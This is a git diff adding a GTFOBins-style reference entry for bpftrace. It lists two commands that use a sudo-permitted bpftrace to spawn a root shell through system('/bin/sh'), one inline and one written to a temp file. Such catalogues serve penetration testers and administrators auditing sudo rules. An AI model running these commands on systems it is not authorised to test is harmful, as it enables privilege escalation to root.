diff --git a/_gtfobins/bpftrace.md b/_gtfobins/bpftrace.md
new file mode 100644
index 0000000..96259a1
--- /dev/null
+++ b/_gtfobins/bpftrace.md
@@ -0,0 +1,9 @@
+---
+functions:
+  sudo:
+    - code: sudo bpftrace -e 'BEGIN {system("/bin/sh")}'
+    - code: |
+        TF=$(mktemp)
+        echo 'BEGIN {system("/bin/sh")}' >$TF
+        sudo bpftrace $TF
+---